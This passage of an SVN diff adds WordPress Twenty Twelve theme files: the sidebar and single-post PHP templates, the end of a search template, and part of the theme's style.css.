+					<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentytwelve' ); ?></h1>
+				</header>
+
+				<div class="entry-content">
+					<p><?php _e( 'Sorry, but nothing matched your search criteria. Please try again with some different keywords.', 'twentytwelve' ); ?></p>
+					<?php get_search_form(); ?>
+				</div><!-- .entry-content -->
+			</article><!-- #post-0 -->
+
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/sidebar-front.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/sidebar-front.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/sidebar-front.php	(revision 56912)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * The sidebar containing the front page widget areas
+ *
+ * If no active widgets are in either sidebar, hide them completely.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+/*
+ * The front page widget area is triggered if any of the areas
+ * have widgets. So let's check that first.
+ *
+ * If none of the sidebars have widgets, then let's bail early.
+ */
+if ( ! is_active_sidebar( 'sidebar-2' ) && ! is_active_sidebar( 'sidebar-3' ) )
+	return;
+
+// If we get this far, we have widgets. Let do this.
+?>
+<div id="secondary" class="widget-area" role="complementary">
+	<?php if ( is_active_sidebar( 'sidebar-2' ) ) : ?>
+	<div class="first front-widgets">
+		<?php dynamic_sidebar( 'sidebar-2' ); ?>
+	</div><!-- .first -->
+	<?php endif; ?>
+
+	<?php if ( is_active_sidebar( 'sidebar-3' ) ) : ?>
+	<div class="second front-widgets">
+		<?php dynamic_sidebar( 'sidebar-3' ); ?>
+	</div><!-- .second -->
+	<?php endif; ?>
+</div><!-- #secondary -->
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/sidebar.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/sidebar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/sidebar.php	(revision 56912)
@@ -0,0 +1,17 @@
+<?php
+/**
+ * The sidebar containing the main widget area
+ *
+ * If no active widgets are in the sidebar, hide it completely.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<?php if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
+		<div id="secondary" class="widget-area" role="complementary">
+			<?php dynamic_sidebar( 'sidebar-1' ); ?>
+		</div><!-- #secondary -->
+	<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/single.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * The Template for displaying all single posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+			<?php while ( have_posts() ) : the_post(); ?>
+
+				<?php get_template_part( 'content', get_post_format() ); ?>
+
+				<nav class="nav-single">
+					<h3 class="assistive-text"><?php _e( 'Post navigation', 'twentytwelve' ); ?></h3>
+					<span class="nav-previous"><?php previous_post_link( '%link', '<span class="meta-nav">' . _x( '&larr;', 'Previous post link', 'twentytwelve' ) . '</span> %title' ); ?></span>
+					<span class="nav-next"><?php next_post_link( '%link', '%title <span class="meta-nav">' . _x( '&rarr;', 'Next post link', 'twentytwelve' ) . '</span>' ); ?></span>
+				</nav><!-- .nav-single -->
+
+				<?php comments_template( '', true ); ?>
+
+			<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/style.css	(revision 56912)
@@ -0,0 +1,1823 @@
+/*
+Theme Name: Twenty Twelve
+Theme URI: https://wordpress.org/themes/twentytwelve/
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Description: The 2012 theme for WordPress is a fully responsive theme that looks great on any device. Features include a front page template with its own widgets, an optional display font, styling for post formats on both index and single views, and an optional no-sidebar page template. Make it yours with a custom menu, header image, and background.
+Version: 2.8
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, one-column, two-columns, right-sidebar, custom-background, custom-header, custom-menu, editor-style, featured-images, flexible-header, footer-widgets, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready
+Text Domain: twentytwelve
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+*/
+
+/* =Notes
+--------------------------------------------------------------
+This stylesheet uses rem values with a pixel fallback. The rem
+values (and line heights) are calculated using two variables:
+
+$rembase:     14;
+$line-height: 24;
+
+---------- Examples
+
+* Use a pixel value with a rem fallback for font-size, padding, margins, etc.
+	padding: 5px 0;
+	padding: 0.357142857rem 0; (5 / $rembase)
+
+* Set a font-size and then set a line-height based on the font-size
+	font-size: 16px
+	font-size: 1.142857143rem; (16 / $rembase)
+	line-height: 1.5; ($line-height / 16)
+
+---------- Vertical spacing
+
+Vertical spacing between most elements should use 24px or 48px
+to maintain vertical rhythm:
+
+.my-new-div {
+	margin: 24px 0;
+	margin: 1.714285714rem 0; ( 24 / $rembase )
+}
+
+---------- Further reading
+
+http://snook.ca/archives/html_and_css/font-size-with-rem
+http://blog.typekit.com/2011/11/09/type-study-sizing-the-legible-letter/
+
+
+/* =Reset
+-------------------------------------------------------------- */
+
+html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video {
+	margin: 0;
+	padding: 0;
+	border: 0;
+	font-size: 100%;
+	vertical-align: baseline;
+}
+body {
+	line-height: 1;
+}
+ol,
+ul {
+	list-style: none;
+}
+blockquote,
+q {
+	quotes: none;
+}
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: '';
+	content: none;
+}
+table {
+	border-collapse: collapse;
+	border-spacing: 0;
+}
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+}
+html {
+	overflow-y: scroll;
+	font-size: 100%;
+	-webkit-text-size-adjust: 100%;
+	-ms-text-size-adjust: 100%;
+}
+a:focus {
+	outline: thin dotted;
+}
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+hgroup,
+nav,
+section {
+	display: block;
+}
+audio,
+canvas,
+video {
+	display: inline-block;
+}
+audio:not([controls]) {
+	display: none;
+}
+del {
+	color: #333;
+}
+ins {
+	background: #fff9c0;
+	text-decoration: none;
+}
+hr {
+	background-color: #ccc;
+	border: 0;
+	height: 1px;
+	margin: 24px;
+	margin-bottom: 1.714285714rem;
+}
+sub,
+sup {
+	font-size: 75%;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	top: -0.5em;
+}
+sub {
+	bottom: -0.25em;
+}
+small {
+	font-size: smaller;
+}
+img {
+	border: 0;
+	-ms-interpolation-mode: bicubic;
+}
+
+/* Clearing floats */
+.clear:after,
+.wrapper:after,
+.format-status .entry-header:after {
+	clear: both;
+}
+.clear:before,
+.clear:after,
+.wrapper:before,
+.wrapper:after,
+.format-status .entry-header:before,
+.format-status .entry-header:after {
+	display: table;
+	content: "";
+}
+
+
+/* =Repeatable patterns
+-------------------------------------------------------------- */
+
+/* Small headers */
+.archive-title,
+.page-title,
+.widget-title,
+.entry-content th,
+.comment-content th {
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	line-height: 2.181818182;
+	font-weight: bold;
+	text-transform: uppercase;
+	color: #636363;
+}
+
+/* Shared Post Format styling */
+article.format-quote footer.entry-meta,
+article.format-link footer.entry-meta,
+article.format-status footer.entry-meta {
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	line-height: 2.181818182;
+}
+
+/* Form fields, general styles first */
+button,
+input,
+select,
+textarea {
+	border: 1px solid #ccc;
+	border-radius: 3px;
+	font-family: inherit;
+	padding: 6px;
+	padding: 0.428571429rem;
+}
+button,
+input {
+	line-height: normal;
+}
+textarea {
+	font-size: 100%;
+	overflow: auto;
+	vertical-align: top;
+}
+
+/* Reset non-text input types */
+input[type="checkbox"],
+input[type="radio"],
+input[type="file"],
+input[type="hidden"],
+input[type="image"],
+input[type="color"] {
+	border: 0;
+	border-radius: 0;
+	padding: 0;
+}
+
+/* Buttons */
+.menu-toggle,
+input[type="submit"],
+input[type="button"],
+input[type="reset"],
+article.post-password-required input[type=submit],
+.bypostauthor cite span {
+	padding: 6px 10px;
+	padding: 0.428571429rem 0.714285714rem;
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	line-height: 1.428571429;
+	font-weight: normal;
+	color: #7c7c7c;
+	background-color: #e6e6e6;
+	background-repeat: repeat-x;
+	background-image: -moz-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -ms-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -webkit-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -o-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: linear-gradient(top, #f4f4f4, #e6e6e6);
+	border: 1px solid #d2d2d2;
+	border-radius: 3px;
+	box-shadow: 0 1px 2px rgba(64, 64, 64, 0.1);
+}
+.menu-toggle,
+button,
+input[type="submit"],
+input[type="button"],
+input[type="reset"] {
+	cursor: pointer;
+}
+button[disabled],
+input[disabled] {
+	cursor: default;
+}
+.menu-toggle:hover,
+.menu-toggle:focus,
+button:hover,
+input[type="submit"]:hover,
+input[type="button"]:hover,
+input[type="reset"]:hover,
+article.post-password-required input[type=submit]:hover {
+	color: #5e5e5e;
+	background-color: #ebebeb;
+	background-repeat: repeat-x;
+	background-image: -moz-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -ms-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -webkit-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -o-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: linear-gradient(top, #f9f9f9, #ebebeb);
+}
+.menu-toggle:active,
+.menu-toggle.toggled-on,
+button:active,
+input[type="submit"]:active,
+input[type="button"]:active,
+input[type="reset"]:active {
+	color: #757575;
+	background-color: #e1e1e1;
+	background-repeat: repeat-x;
+	background-image: -moz-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: -ms-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: -webkit-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: -o-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: linear-gradient(top, #ebebeb, #e1e1e1);
+	box-shadow: inset 0 0 8px 2px #c6c6c6, 0 1px 0 0 #f4f4f4;
+	border-color: transparent;
+}
+.bypostauthor cite span {
+	color: #fff;
+	background-color: #21759b;
+	background-image: none;
+	border: 1px solid #1f6f93;
+	border-radius: 2px;
+	box-shadow: none;
+	padding: 0;
+}
+
+/* Responsive images */
+.entry-content img,
+.comment-content img,
+.widget img {
+	max-width: 100%; /* Fluid images for posts, comments, and widgets */
+}
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */
+}
+img.size-full,
+img.size-large,
+img.header-image,
+img.wp-post-image {
+	max-width: 100%;
+	height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */
+}
+
+/* Make sure videos and embeds fit their containers */
+embed,
+iframe,
+object,
+video {
+	max-width: 100%;
+}
+.entry-content .twitter-tweet-rendered {
+	max-width: 100% !important; /* Override the Twitter embed fixed width */
+}
+
+/* Images */
+.alignleft {
+	float: left;
+}
+.alignright {
+	float: right;
+}
+.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+.entry-content img,
+.comment-content img,
+.widget img,
+img.header-image,
+.author-avatar img,
+img.wp-post-image {
+	/* Add fancy borders to all WordPress-added images but not things like badges and icons and the like */
+	border-radius: 3px;
+	box-shadow: 0 1px 4px rgba(0, 0, 0, 0.2);
+}
+.wp-caption {
+	max-width: 100%; /* Keep wide captions from overflowing their container. */
+	padding: 4px;
+}
+.wp-caption .wp-caption-text,
+.gallery-caption,
+.entry-caption {
+	font-style: italic;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	color: #757575;
+}
+img.wp-smiley,
+.rsswidget img {
+	border: 0;
+	border-radius: 0;
+	box-shadow: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+.entry-content dl.gallery-item {
+	margin: 0;
+}
+.gallery-item a,
+.gallery-caption {
+	width: 90%;
+}
+.gallery-item a {
+	display: block;
+}
+.gallery-caption a {
+	display: inline;
+}
+.gallery-columns-1 .gallery-item a {
+	max-width: 100%;
+	width: auto;
+}
+.gallery .gallery-icon img {
+	height: auto;
+	max-width: 90%;
+	padding: 5%;
+}
+.gallery-columns-1 .gallery-icon img {
+	padding: 3%;
+}
+
+/* Navigation */
+.site-content nav {
+	clear: both;
+	line-height: 2;
+	overflow: hidden;
+}
+#nav-above {
+	padding: 24px 0;
+	padding: 1.714285714rem 0;
+}
+#nav-above {
+	display: none;
+}
+.paged #nav-above {
+	display: block;
+}
+.nav-previous,
+.previous-image {
+	float: left;
+	width: 50%;
+}
+.nav-next,
+.next-image {
+	float: right;
+	text-align: right;
+	width: 50%;
+}
+.nav-single + .comments-area,
+#comment-nav-above {
+	margin: 48px 0;
+	margin: 3.428571429rem 0;
+}
+
+/* Author profiles */
+.author .archive-header {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.author-info {
+	border-top: 1px solid #ededed;
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+	padding-top: 24px;
+	padding-top: 1.714285714rem;
+	overflow: hidden;
+}
+.author-description p {
+	color: #757575;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+}
+.author.archive .author-info {
+	border-top: 0;
+	margin: 0 0 48px;
+	margin: 0 0 3.428571429rem;
+}
+.author.archive .author-avatar {
+	margin-top: 0;
+}
+
+
+/* =Basic structure
+-------------------------------------------------------------- */
+
+/* Body, links, basics */
+html {
+	font-size: 87.5%;
+}
+body {
+	font-size: 14px;
+	font-size: 1rem;
+	font-family: Helvetica, Arial, sans-serif;
+	text-rendering: optimizeLegibility;
+	color: #444;
+}
+body.custom-font-enabled {
+	font-family: "Open Sans", Helvetica, Arial, sans-serif;
+}
+a {
+	outline: none;
+	color: #21759b;
+}
+a:hover {
+	color: #0f3647;
+}
+
+/* Assistive text */
+.assistive-text,
+.site .screen-reader-text {
+	position: absolute !important;
+	clip: rect(1px, 1px, 1px, 1px);
+	overflow: hidden;
+	height: 1px;
+	width: 1px;
+}
+.main-navigation .assistive-text:focus,
+.site .screen-reader-text:hover,
+.site .screen-reader-text:active,
+.site .screen-reader-text:focus {
+	background: #fff;
+	border: 2px solid #333;
+	border-radius: 3px;
+	clip: auto !important;
+	color: #000;
+	display: block;
+	font-size: 12px;
+	height: auto;
+	padding: 12px;
+	position: absolute;
+	top: 5px;
+	left: 5px;
+	width: auto;
+	z-index: 100000; /* Above WP toolbar */
+}
+
+/* Page structure */
+.site {
+	padding: 0 24px;
+	padding: 0 1.714285714rem;
+	background-color: #fff;
+}
+.site-content {
+	margin: 24px 0 0;
+	margin: 1.714285714rem 0 0;
+}
+.widget-area {
+	margin: 24px 0 0;
+	margin: 1.714285714rem 0 0;
+}
+
+/* Header */
+.site-header {
+	padding: 24px 0;
+	padding: 1.714285714rem 0;
+}
+.site-header h1,
+.site-header h2 {
+	text-align: center;
+}
+.site-header h1 a,
+.site-header h2 a {
+	color: #515151;
+	display: inline-block;
+	text-decoration: none;
+}
+.site-header h1 a:hover,
+.site-header h2 a:hover {
+	color: #21759b;
+}
+.site-header h1 {
+	font-size: 24px;
+	font-size: 1.714285714rem;
+	line-height: 1.285714286;
+	margin-bottom: 14px;
+	margin-bottom: 1rem;
+}
+.site-header h2 {
+	font-weight: normal;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	color: #757575;
+}
+.header-image {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+}
+
+/* Navigation Menu */
+.main-navigation {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	text-align: center;
+}
+.main-navigation li {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.42857143;
+}
+.main-navigation a {
+	color: #5e5e5e;
+}
+.main-navigation a:hover,
+.main-navigation a:focus {
+	color: #21759b;
+}
+.main-navigation ul.nav-menu,
+.main-navigation div.nav-menu > ul {
+	display: none;
+}
+.main-navigation ul.nav-menu.toggled-on,
+.menu-toggle {
+	display: inline-block;
+}
+
+/* Banner */
+section[role="banner"] {
+	margin-bottom: 48px;
+	margin-bottom: 3.428571429rem;
+}
+
+/* Sidebar */
+.widget-area .widget {
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	hyphens: auto;
+	margin-bottom: 48px;
+	margin-bottom: 3.428571429rem;
+	word-wrap: break-word;
+}
+.widget-area .widget h3 {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.widget-area .widget p,
+.widget-area .widget li,
+.widget-area .widget .textwidget {
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+}
+.widget-area .widget p {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.widget-area .textwidget ul,
+.widget-area .textwidget ol {
+	list-style: disc outside;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+}
+.widget-area .textwidget li > ul,
+.widget-area .textwidget li > ol {
+	margin-bottom: 0;
+}
+.widget-area .textwidget ol {
+	list-style: decimal;
+}
+.widget-area .textwidget li {
+	margin-left: 36px;
+	margin-left: 2.571428571rem;
+}
+.widget-area .widget a {
+	color: #757575;
+}
+.widget-area .widget a:hover {
+	color: #21759b;
+}
+.widget-area .widget a:visited {
+	color: #9f9f9f;
+}
+.widget-area #s {
+	width: 53.66666666666%; /* define a width to avoid dropping a wider submit button */
+}
+
+/* Footer */
+footer[role="contentinfo"] {
+	border-top: 1px solid #ededed;
+	clear: both;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	max-width: 960px;
+	max-width: 68.571428571rem;
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	margin-left: auto;
+	margin-right: auto;
+	padding: 24px 0;
+	padding: 1.714285714rem 0;
+}
+footer[role="contentinfo"] a {
+	color: #686868;
+}
+footer[role="contentinfo"] a:hover {
+	color: #21759b;
+}
+.site-info span[role=separator] {
+	padding: 0 0.3em 0 0.6em;
+}
+.site-info span[role=separator]::before {
+	content: '\002f';
+}
+
+
+/* =Main content and comment content
+-------------------------------------------------------------- */
+
+.entry-meta {
+	clear: both;
+}
+.entry-header {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.entry-header img.wp-post-image {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.entry-header .entry-title {
+	font-size: 20px;
+	font-size: 1.428571429rem;
+	line-height: 1.2;
+	font-weight: normal;
+}
+.entry-header .entry-title a {
+	text-decoration: none;
+}
+.entry-header .entry-format {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	font-weight: normal;
+}
+.entry-header .comments-link {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	color: #757575;
+}
+.comments-link a,
+.entry-meta a {
+	color: #757575;
+}
+.comments-link a:hover,
+.entry-meta a:hover {
+	color: #21759b;
+}
+article.sticky .featured-post {
+	border-top: 4px double #ededed;
+	border-bottom: 4px double #ededed;
+	color: #757575;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 3.692307692;
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+	text-align: center;
+}
+.entry-content,
+.entry-summary,
+.mu_register {
+	line-height: 1.714285714;
+}
+.entry-content h1,
+.comment-content h1,
+.entry-content h2,
+.comment-content h2,
+.entry-content h3,
+.comment-content h3,
+.entry-content h4,
+.comment-content h4,
+.entry-content h5,
+.comment-content h5,
+.entry-content h6,
+.comment-content h6 {
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+	line-height: 1.714285714;
+}
+.entry-content h1,
+.comment-content h1 {
+	font-size: 21px;
+	font-size: 1.5rem;
+	line-height: 1.5;
+}
+.entry-content h2,
+.comment-content h2,
+.mu_register h2 {
+	font-size: 18px;
+	font-size: 1.285714286rem;
+	line-height: 1.6;
+}
+.entry-content h3,
+.comment-content h3 {
+	font-size: 16px;
+	font-size: 1.142857143rem;
+	line-height: 1.846153846;
+}
+.entry-content h4,
+.comment-content h4 {
+	font-size: 14px;
+	font-size: 1rem;
+	line-height: 1.846153846;
+}
+.entry-content h5,
+.comment-content h5 {
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+}
+.entry-content h6,
+.comment-content h6 {
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.846153846;
+}
+.entry-content p,
+.entry-summary p,
+.comment-content p,
+.mu_register p {
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+	line-height: 1.714285714;
+}
+.entry-content a:visited,
+.comment-content a:visited {
+	color: #9f9f9f;
+}
+.entry-content .more-link {
+	white-space: nowrap;
+}
+.entry-content ol,
+.comment-content ol,
+.entry-content ul,
+.comment-content ul,
+.mu_register ul {
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+	line-height: 1.714285714;
+}
+.entry-content ul ul,
+.comment-content ul ul,
+.entry-content ol ol,
+.comment-content ol ol,
+.entry-content ul ol,
+.comment-content ul ol,
+.entry-content ol ul,
+.comment-content ol ul {
+	margin-bottom: 0;
+}
+.entry-content ul,
+.comment-content ul,
+.mu_register ul {
+	list-style: disc outside;
+}
+.entry-content ol,
+.comment-content ol {
+	list-style: decimal outside;
+}
+.entry-content li,
+.comment-content li,
+.mu_register li {
+	margin: 0 0 0 36px;
+	margin: 0 0 0 2.571428571rem;
+}
+.entry-content blockquote,
+.comment-content blockquote {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+	padding: 24px;
+	padding: 1.714285714rem;
+	font-style: italic;
+}
+.entry-content blockquote p:last-child,
+.comment-content blockquote p:last-child {
+	margin-bottom: 0;
+}
+.entry-content code,
+.comment-content code {
+	font-family: Consolas, Monaco, Lucida Console, monospace;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+}
+.entry-content pre,
+.comment-content pre {
+	border: 1px solid #ededed;
+	color: #666;
+	font-family: Consolas, Monaco, Lucida Console, monospace;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.714285714;
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+	overflow: auto;
+	padding: 24px;
+	padding: 1.714285714rem;
+}
+.entry-content pre code,
+.comment-content pre code {
+	display: block;
+}
+.entry-content abbr,
+.comment-content abbr,
+.entry-content dfn,
+.comment-content dfn,
+.entry-content acronym,
+.comment-content acronym {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+.entry-content address,
+.comment-content address {
+	display: block;
+	line-height: 1.714285714;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+}
+img.alignleft,
+.wp-caption.alignleft {
+	margin: 12px 24px 12px 0;
+	margin: 0.857142857rem 1.714285714rem 0.857142857rem 0;
+}
+img.alignright,
+.wp-caption.alignright {
+	margin: 12px 0 12px 24px;
+	margin: 0.857142857rem 0 0.857142857rem 1.714285714rem;
+}
+img.aligncenter,
+.wp-caption.aligncenter {
+	clear: both;
+	margin-top: 12px;
+	margin-top: 0.857142857rem;
+	margin-bottom: 12px;
+	margin-bottom: 0.857142857rem;
+}
+.entry-content embed,
+.entry-content iframe,
+.entry-content object,
+.entry-content video {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.entry-content dl,
+.comment-content dl {
+	margin: 0 24px;
+	margin: 0 1.714285714rem;
+}
+.entry-content dt,
+.comment-content dt {
+	font-weight: bold;
+	line-height: 1.714285714;
+}
+.entry-content dd,
+.comment-content dd {
+	line-height: 1.714285714;
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.entry-content table,
+.comment-content table {
+	border-bottom: 1px solid #ededed;
+	color: #757575;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+	width: 100%;
+}
+.entry-content table caption,
+.comment-content table caption {
+	font-size: 16px;
+	font-size: 1.142857143rem;
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+}
+.entry-content td,
+.comment-content td {
+	border-top: 1px solid #ededed;
+	padding: 6px 10px 6px 0;
+}
+.site-content article {
+	border-bottom: 4px double #ededed;
+	margin-bottom: 72px;
+	margin-bottom: 5.142857143rem;
+	padding-bottom: 24px;
+	padding-bottom: 1.714285714rem;
+	word-wrap: break-word;
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	hyphens: auto;
+}
+.page-links {
+	clear: both;
+	line-height: 1.714285714;
+}
+footer.entry-meta {
+	margin-top: 24px;
+	margin-top: 1.714285714rem;
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	color: #757575;
+}
+.single-author .entry-meta .by-author {
+	display: none;
+}
+.mu_register h2 {
+	color: #757575;
+	font-weight: normal;
+}
+
+
+/* =Archives
+-------------------------------------------------------------- */
+
+.archive-header,
+.page-header {
+	margin-bottom: 48px;
+	margin-bottom: 3.428571429rem;
+	padding-bottom: 22px;
+	padding-bottom: 1.571428571rem;
+	border-bottom: 1px solid #ededed;
+}
+.archive-meta {
+	color: #757575;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	margin-top: 22px;
+	margin-top: 1.571428571rem;
+}
+
+/* =Single audio/video attachment view
+-------------------------------------------------------------- */
+
+.attachment .entry-content .mejs-audio {
+	max-width: 400px;
+}
+
+.attachment .entry-content .mejs-container {
+	margin-bottom: 24px;
+}
+
+
+/* =Single image attachment view
+-------------------------------------------------------------- */
+
+.article.attachment {
+	overflow: hidden;
+}
+.image-attachment div.attachment {
+	text-align: center;
+}
+.image-attachment div.attachment p {
+	text-align: center;
+}
+.image-attachment div.attachment img {
+	display: block;
+	height: auto;
+	margin: 0 auto;
+	max-width: 100%;
+}
+.image-attachment .entry-caption {
+	margin-top: 8px;
+	margin-top: 0.571428571rem;
+}
+
+
+/* =Aside post format
+-------------------------------------------------------------- */
+
+article.format-aside h1 {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+article.format-aside h1 a {
+	text-decoration: none;
+	color: #4d525a;
+}
+article.format-aside h1 a:hover {
+	color: #2e3542;
+}
+article.format-aside .aside {
+	padding: 24px 24px 0;
+	padding: 1.714285714rem;
+	background: #d2e0f9;
+	border-left: 22px solid #a8bfe8;
+}
+article.format-aside p {
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	color: #4a5466;
+}
+article.format-aside blockquote:last-child,
+article.format-aside p:last-child {
+	margin-bottom: 0;
+}
+
+
+/* =Post formats
+-------------------------------------------------------------- */
+
+/* Image posts */
+article.format-image footer h1 {
+	font-size: 13px;
+	font-size: 0.928571429rem;
+	line-height: 1.846153846;
+	font-weight: normal;
+}
+article.format-image footer h2 {
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	line-height: 2.181818182;
+}
+article.format-image footer a h2 {
+	font-weight: normal;
+}
+
+/* Link posts */
+article.format-link header {
+	padding: 0 10px;
+	padding: 0 0.714285714rem;
+	float: right;
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	line-height: 2.181818182;
+	font-weight: bold;
+	font-style: italic;
+	text-transform: uppercase;
+	color: #848484;
+	background-color: #ebebeb;
+	border-radius: 3px;
+}
+article.format-link .entry-content {
+	max-width: 80%;
+	float: left;
+}
+article.format-link .entry-content a {
+	font-size: 22px;
+	font-size: 1.571428571rem;
+	line-height: 1.090909091;
+	text-decoration: none;
+}
+
+/* Quote posts */
+article.format-quote .entry-content p {
+	margin: 0;
+	padding-bottom: 24px;
+	padding-bottom: 1.714285714rem;
+}
+article.format-quote .entry-content blockquote {
+	display: block;
+	padding: 24px 24px 0;
+	padding: 1.714285714rem 1.714285714rem 0;
+	font-size: 15px;
+	font-size: 1.071428571rem;
+	line-height: 1.6;
+	font-style: normal;
+	color: #6a6a6a;
+	background: #efefef;
+}
+
+/* Status posts */
+.format-status .entry-header {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+.format-status .entry-header header {
+	display: inline-block;
+}
+.format-status .entry-header h1 {
+	font-size: 15px;
+	font-size: 1.071428571rem;
+	font-weight: normal;
+	line-height: 1.6;
+	margin: 0;
+}
+.format-status .entry-header h2 {
